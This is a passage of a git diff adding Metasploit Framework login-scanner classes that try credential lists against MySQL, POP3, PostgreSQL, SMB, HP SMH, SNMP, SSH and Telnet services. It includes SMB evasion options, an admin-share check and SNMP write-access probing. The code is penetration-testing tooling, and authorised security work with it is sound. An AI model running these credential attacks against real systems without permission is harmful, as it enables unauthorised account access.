cli.send_recv(req) + if res && res.code == 302 && res.headers['location'] && res.headers['location'].include?('UI') + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: res.headers) + elsif res.nil? + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: 'No response') + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: res.headers) + end + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + Result.new(result_opts) + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mysql.rb b/lib/metasploit/framework/login_scanner/mysql.rb new file mode 100644 index 0000000000..8c0ea226a0 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mysql.rb @@ -0,0 +1,96 @@ +require 'metasploit/framework/tcp/client' +require 'rbmysql' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with MySQL Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class MySQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 3306 + LIKELY_PORTS = [3306] + LIKELY_SERVICE_NAMES = ['mysql'] + PRIVATE_TYPES = [:password] + REALM_KEY = nil + + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'mysql' + } + + begin + # manage our behind the scenes socket. Close any existing one and open a new one + disconnect if self.sock + connect + + ::RbMysql.connect({ + :host => host, + :port => port, + :read_timeout => 300, + :write_timeout => 300, + :socket => sock, + :user => credential.public, + :password => credential.private, + :db => '' + }) + + rescue ::SystemCallError, Rex::ConnectionError => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e + }) + rescue RbMysql::ClientError => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e + }) + rescue RbMysql::HostNotPrivileged => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e + }) + rescue RbMysql::AccessDeniedError => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e + }) + rescue RbMysql::HostIsBlocked => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e + }) + end + + unless result_options[:status] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ntlm.rb b/lib/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..73cdfef6dc --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This Concern provides the basic accessors and validations + # for protocols that require the use of NTLM for Authentication. + module NTLM + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute send_lm + # @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session) + attr_accessor :send_lm + + # @!attribute send_ntlm + # @return [Boolean] Whether to use NTLM responses + attr_accessor :send_ntlm + + # @!attribute send_spn + # @return [Boolean] Whether to support SPN for newer Windows OSes + attr_accessor :send_spn + + # @!attribute use_lmkey + # @return [Boolean] Whether to negotiate with a LANMAN key + attr_accessor :use_lmkey + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLM2 session + attr_accessor :use_ntlm2_session + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session + attr_accessor :use_ntlmv2 + + validates :send_lm, + inclusion: { in: [true, false] } + + validates :send_ntlm, + inclusion: { in: [true, false] } + + validates :send_spn, + inclusion: { in: [true, false] } + + validates :use_lmkey, + inclusion: { in: [true, false] } + + validates :use_ntlm2_session, + inclusion: { in: [true, false] } + + validates :use_ntlmv2, + inclusion: { in: [true, false] } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..30b2270ab1 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 110 + LIKELY_PORTS = [ 110, 995 ] + LIKELY_SERVICE_NAMES = [ 'pop3', 'pop3s' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + host: host, + port: port, + protocol: 'tcp', + service_name: 'pop3' + } + + disconnect if self.sock + + begin + connect + select([sock],nil,nil,0.4) + + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + # Dovecot has a failed-auth penalty system that maxes at + # sleeping for 15 seconds before sending responses to the + # PASS command, so bump the timeout to 16. + result_options[:proof] = sock.get_once(-1, 16) + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # if the pass gives an OK, were good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb new file mode 100644 index 0000000000..91eeb144bf --- /dev/null +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -0,0 +1,85 @@ +require 'metasploit/framework/login_scanner/base' +require 'postgres_msf' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with PostgreSQL database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Postgres + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 5432 + DEFAULT_REALM = 'template1' + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'postgres' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'postgres' + } + + db_name = credential.realm || 'template1' + + if ::Rex::Socket.is_ipv6?(host) + uri = "tcp://[#{host}]:#{port}" + else + uri = "tcp://#{host}:#{port}" + end + + pg_conn = nil + + begin + pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri) + rescue RuntimeError => e + case e.to_s.split("\t")[1] + when "C3D000" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "C3D000, Creds were good but database was bad" + }) + when "C28000", "C28P01" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Invalid username or password" + }) + else + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e.message + }) + end + rescue Rex::ConnectionError, EOFError, Timeout::Error => e + result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + + if pg_conn + pg_conn.close + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/result.rb b/lib/metasploit/framework/login_scanner/result.rb new file mode 100644 index 0000000000..c54cb3b5d6 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/result.rb @@ -0,0 +1,81 @@ +module Metasploit + module Framework + module LoginScanner + + # The Result class provides a standard structure in which + # LoginScanners can return the result of a login attempt + + class Result + include ActiveModel::Validations + + # @!attribute access_level + # @return [String] the access level gained + attr_accessor :access_level + # @!attribute credential + # @return [Credential] the Credential object the result is for + attr_accessor :credential + # @!attribute host + # @return [String] the addess of the target host for this result + attr_accessor :host + # @!attribute port + # @return [Fixnum] the port number of the service for this result + attr_accessor :port + # @!attribute proof + # @return [#to_s] the proof of the login's success or failure + attr_accessor :proof + # @!attribute protocol + # @return [String] the transport protocol used for this result (tcp/udp) + attr_accessor :protocol + # @!attribute service_name + # @return [String] the name to give the service for this result + attr_accessor :service_name + # @!attribute status + # @return [String] the status of the attempt. Should be a member of `Metasploit::Model::Login::Status::ALL` + attr_accessor :status + + validates :status, + inclusion: { + in: Metasploit::Model::Login::Status::ALL + } + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + end + + def inspect + "#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >" + end + + def success? + status == Metasploit::Model::Login::Status::SUCCESSFUL + end + + # This method takes all the data inside the Result object + # and spits out a hash compatible with #create_credential + # and #create_credential_login. + # + # @return [Hash] the hash to use with #create_credential and #create_credential_login + def to_h + result_hash = credential.to_h + result_hash.merge!( + access_level: access_level, + address: host, + last_attempted_at: DateTime.now, + origin_type: :service, + port: port, + proof: proof, + protocol: protocol, + service_name: service_name, + status: status + ) + result_hash.delete_if { |k,v| v.nil? } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..d8fa26eeaf --- /dev/null +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,43 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the common mixin behaviour for + # LoginScanner objects that rely on Rex Sockets for their + # underlying communication. + module RexSocket + extend ActiveSupport::Concern + + included do + + # @!attribute ssl + # @return [Boolean] Whether the socket should use ssl + attr_accessor :ssl + # @!attribute ssl_version + # @return [String] The version of SSL to implement + attr_accessor :ssl_version + + private + + def chost + '0.0.0.0' + end + + def cport + 0 + end + + def rhost + host + end + + def rport + port + end + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb new file mode 100644 index 0000000000..67ef8da55f --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -0,0 +1,280 @@ +require 'rex/proto/smb' +require 'metasploit/framework' +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Server Messaging + # Block protocol. + class SMB + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + + # Constants to be used in {Result#access_level} + module AccessLevels + # Administrative access. For SMB, this is defined as being + # able to successfully Tree Connect to the `ADMIN$` share. + # This definition is not without its problems, but suffices to + # conclude that such a user will most likely be able to use + # psexec. + ADMINISTRATOR = "Administrator" + # Guest access means our creds were accepted but the logon + # session is not associated with a real user account. + GUEST = "Guest" + end + + CAN_GET_SESSION = true + DEFAULT_REALM = 'WORKSTATION' + LIKELY_PORTS = [ 139, 445 ] + LIKELY_SERVICE_NAMES = [ "smb" ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + module StatusCodes + CORRECT_CREDENTIAL_STATUS_CODES = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + "STATUS_ACCOUNT_RESTRICTION", + "STATUS_INVALID_LOGON_HOURS", + "STATUS_INVALID_WORKSTATION", + "STATUS_LOGON_TYPE_NOT_GRANTED", + "STATUS_PASSWORD_EXPIRED", + "STATUS_PASSWORD_MUST_CHANGE", + ].freeze.map(&:freeze) + end + + + # @!attribute simple + # @return [Rex::Proto::SMB::SimpleClient] + attr_accessor :simple + + attr_accessor :smb_chunk_size + attr_accessor :smb_name + attr_accessor :smb_native_lm + attr_accessor :smb_native_os + attr_accessor :smb_obscure_trans_pipe_level + attr_accessor :smb_pad_data_level + attr_accessor :smb_pad_file_level + attr_accessor :smb_pipe_evasion + + # UNUSED + #attr_accessor :smb_pipe_read_max_size + #attr_accessor :smb_pipe_read_min_size + #attr_accessor :smb_pipe_write_max_size + #attr_accessor :smb_pipe_write_min_size + attr_accessor :smb_verify_signature + + attr_accessor :smb_direct + + validates :smb_chunk_size, + numericality: + { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :smb_obscure_trans_pipe_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_data_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_file_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pipe_evasion, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + # UNUSED + #validates :smb_pipe_read_max_size, numericality: { only_integer: true } + #validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + #validates :smb_pipe_write_max_size, numericality: { only_integer: true } + #validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + + validates :smb_verify_signature, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + + # If login is successul and {Result#access_level} is not set + # then arbitrary credentials are accepted. If it is set to + # Guest, then arbitrary credentials are accepted, but given + # Guest permissions. + # + # @param domain [String] Domain to authenticate against. Use an + # empty string for local accounts. + # @return [Result] + def attempt_bogus_login(domain) + if defined?(@result_for_bogus) + return @result_for_bogus + end + cred = Credential.new( + public: Rex::Text.rand_text_alpha(8), + private: Rex::Text.rand_text_alpha(8), + realm: domain + ) + @result_for_bogus = attempt_login(cred) + end + + + # (see Base#attempt_login) + def attempt_login(credential) + + # Disable direct SMB when SMBDirect has not been set and the + # destination port is configured as 139 + if self.smb_direct.nil? + self.smb_direct = case self.port + when 139 then false + when 445 then true + end + end + + begin + connect + rescue ::Rex::ConnectionError => e + result = Result.new( + credential:credential, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e, + host: host, + port: port, + protocol: 'tcp', + service_name: 'smb' + ) + return result + end + proof = nil + + begin + # TODO: OMG + simple.login( + smb_name, + credential.public, + credential.private, + credential.realm || "", + smb_verify_signature, + use_ntlmv2, + use_ntlm2_session, + send_lm, + use_lmkey, + send_ntlm, + smb_native_os, + smb_native_lm, + { + use_spn: send_spn, + name: host + } + ) + + # Windows SMB will return an error code during Session + # Setup, but nix Samba requires a Tree Connect. Try admin$ + # first, since that will tell us if this user has local + # admin access. Fall back to IPC$ which should be accessible + # to any user with valid creds. + begin + simple.connect("\\\\#{host}\\admin$") + access_level = AccessLevels::ADMINISTRATOR + simple.disconnect("\\\\#{host}\\admin$") + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + simple.connect("\\\\#{host}\\IPC$") + end + + # If we made it this far without raising, we have a valid + # login + status = Metasploit::Model::Login::Status::SUCCESSFUL + rescue ::Rex::Proto::SMB::Exceptions::LoginError => e + status = case e.get_error(e.error_code) + when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES + Metasploit::Model::Login::Status::DENIED_ACCESS + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' + Metasploit::Model::Login::Status::INCORRECT + else + Metasploit::Model::Login::Status::INCORRECT + end + + proof = e + rescue ::Rex::Proto::SMB::Exceptions::Error => e + status = Metasploit::Model::Login::Status::INCORRECT + proof = e + rescue ::Rex::ConnectionError => e + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + proof = e + end + + if status == Metasploit::Model::Login::Status::SUCCESSFUL && simple.client.auth_user.nil? + access_level ||= AccessLevels::GUEST + end + + result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'smb' + result + end + + def connect + disconnect + self.sock = super + + c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct) + + c.client.evasion_opts['pad_data'] = smb_pad_data_level + c.client.evasion_opts['pad_file'] = smb_pad_file_level + c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level + + self.simple = c + c + end + + def set_sane_defaults + self.connection_timeout = 10 if self.connection_timeout.nil? + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.smb_chunk_size = 0 if self.smb_chunk_size.nil? + self.smb_name = "*SMBSERVER" if self.smb_name.nil? + self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil? + self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil? + self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil? + self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil? + self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil? + self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil? + #self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil? + #self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil? + #self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil? + #self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil? + self.smb_verify_signature = false if self.smb_verify_signature.nil? + + self.use_lmkey = true if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + + self.smb_name = self.host if self.smb_name.nil? + + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/smh.rb b/lib/metasploit/framework/login_scanner/smh.rb new file mode 100644 index 0000000000..10d02c8673 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smh.rb @@ -0,0 +1,58 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # HP System Management login scanner tested on v6.3.1.24 upto v7.2.1.3 and 7.4 + class Smh < HTTP + + DEFAULT_PORT = 4848 + PRIVATE_TYPES = [ :password ] + CAN_GET_SESSION = true + + + # (see Base#attempt_login) + def attempt_login(credential) + result_opts = { + credential: credential + } + + req_opts = { + 'method' => 'POST', + 'uri' => '/proxy/ssllogin', + 'vars_post' => { + 'redirecturl' => '', + 'redirectquerystring' => '', + 'user' => credential.public, + 'password' => credential.private + } + } + + res = nil + + begin + cli = Rex::Proto::Http::Client.new(host, port, {}, ssl, ssl_version, proxies) + cli.connect + req = cli.request_cgi(req_opts) + res = cli.send_recv(req) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, ::EOFError, ::Timeout::Error => e + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + return Result.new(result_opts) + end + + if res && res.headers['CpqElm-Login'].to_s =~ /success/ + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT) + end + + Result.new(result_opts) + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb new file mode 100644 index 0000000000..a6ba854202 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -0,0 +1,110 @@ +require 'snmp' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with SNMP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class SNMP + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 161 + LIKELY_PORTS = [ 161, 162 ] + LIKELY_SERVICE_NAMES = [ 'snmp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'udp', + service_name: 'snmp' + } + + [:SNMPv1, :SNMPv2c].each do |version| + snmp_client = ::SNMP::Manager.new( + :Host => host, + :Port => port, + :Community => credential.public, + :Version => version, + :Timeout => connection_timeout, + :Retries => 2, + :Transport => ::SNMP::RexUDPTransport, + :Socket => ::Rex::Socket::Udp.create('Context' => { 'Msf' => framework, 'MsfExploit' => framework_module }) + ) + + result_options[:proof] = test_read_access(snmp_client) + if result_options[:proof].nil? + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + else + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if has_write_access?(snmp_client, result_options[:proof]) + result_options[:access_level] = "read-write" + else + result_options[:access_level] = "read-only" + end + end + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method takes an snmp client and tests whether + # it has write access to the remote system. It sets the + # the sysDescr oid to the same value we already read. + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @param value [String] the value to set sysDescr back to + # @return [Boolean] Returns true or false for if we have write access + def has_write_access?(snmp_client, value) + var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) + begin + resp = snmp_client.set(var_bind) + if resp.error_status == :noError + return true + end + rescue RuntimeError + return false + end + + end + + # Sets the connection timeout approrpiately for SNMP + # if the user did not set it. + def set_sane_defaults + self.connection_timeout = 2 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + end + + # This method takes an snmp client and tests whether + # it has read access to the remote system. It checks + # the sysDescr oid to use as proof + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @return [String, nil] Returns a string if successful, nil if failed + def test_read_access(snmp_client) + proof = nil + begin + resp = snmp_client.get("sysDescr.0") + resp.each_varbind { |var| proof = var.value } + rescue RuntimeError + proof = nil + end + proof + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb new file mode 100644 index 0000000000..069d1de5ec --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -0,0 +1,139 @@ +require 'net/ssh' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Secure Shell protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + # + class SSH + include Metasploit::Framework::LoginScanner::Base + + # + # CONSTANTS + # + + CAN_GET_SESSION = true + DEFAULT_PORT = 22 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'ssh' ] + PRIVATE_TYPES = [ :password, :ssh_key ] + REALM_KEY = nil + + VERBOSITIES = [ + :debug, + :info, + :warn, + :error, + :fatal + ] + # @!attribute ssh_socket + # @return [Net::SSH::Connection::Session] The current SSH connection + attr_accessor :ssh_socket + # @!attribute verbosity + # The verbosity level for the SSH client. + # + # @return [Symbol] An element of {VERBOSITIES}. + attr_accessor :verbosity + + validates :verbosity, + presence: true, + inclusion: { in: VERBOSITIES } + + # (see {Base#attempt_login}) + # @note The caller *must* close {#ssh_socket} + def attempt_login(credential) + self.ssh_socket = nil + opt_hash = { + :port => port, + :disable_agent => true, + :config => false, + :verbose => verbosity, + :proxies => proxies + } + case credential.private_type + when :password, nil + opt_hash.update( + :auth_methods => ['password','keyboard-interactive'], + :password => credential.private, + ) + when :ssh_key + opt_hash.update( + :auth_methods => ['publickey'], + :key_data => credential.private, + ) + end + + result_options = { + credential: credential + } + begin + ::Timeout.timeout(connection_timeout) do + self.ssh_socket = Net::SSH.start( + host, + credential.public, + opt_hash + ) + end + rescue ::EOFError, Net::SSH::Disconnect, Rex::ConnectionError, ::Timeout::Error => e + result_options.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + rescue Net::SSH::Exception + result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: e) + end + + unless result_options.has_key? :status + if ssh_socket + proof = gather_proof + result_options.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: proof) + else + result_options.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: nil) + end + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ssh' + result + end + + private + + # This method attempts to gather proof that we successfuly logged in. + # @return [String] The proof of a connection, May be empty. + def gather_proof + proof = '' + begin + Timeout.timeout(5) do + proof = ssh_socket.exec!("id\n").to_s + if(proof =~ /id=/) + proof << ssh_socket.exec!("uname -a\n").to_s + else + # Cisco IOS + if proof =~ /Unknown command or computer name/ + proof = ssh_socket.exec!("ver\n").to_s + else + proof << ssh_socket.exec!("help\n?\n\n\n").to_s + end + end + end + rescue ::Exception + end + proof + end + + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + self.verbosity = :fatal if self.verbosity.nil? + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb new file mode 100644 index 0000000000..f104cdf708 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -0,0 +1,121 @@ +require 'metasploit/framework/telnet/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Telnet remote terminals. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Telnet + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Telnet::Client + + CAN_GET_SESSION = true + DEFAULT_PORT = 23 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'telnet' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute verbosity + # The timeout to wait for the telnet banner. + # + # @return [Fixnum] + attr_accessor :banner_timeout + # @!attribute verbosity + # The timeout to wait for the response from a telnet command. + # + # @return [Fixnum] + attr_accessor :telnet_timeout + + validates :banner_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :telnet_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + # (see {Base#attempt_login}) + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'telnet' + } + + begin + if connect_reset_safe == :refused + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if busy_message? + self.sock.close unless self.sock.closed? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + unless result_options[:status] + unless password_prompt? + send_user(credential.public) + end + + recvd_sample = @recvd.dup + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end + + if password_prompt?(credential.public) + send_pass(credential.private) + + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end + end + + if login_succeeded? + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + end + rescue ::EOFError, Errno::ECONNRESET, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.banner_timeout ||= 25 + self.telnet_timeout ||= 10 + self.connection_timeout ||= 30 + self.max_send_size ||= 0 + self.send_delay ||= 0 + # Shim to set up the ivars from the old Login 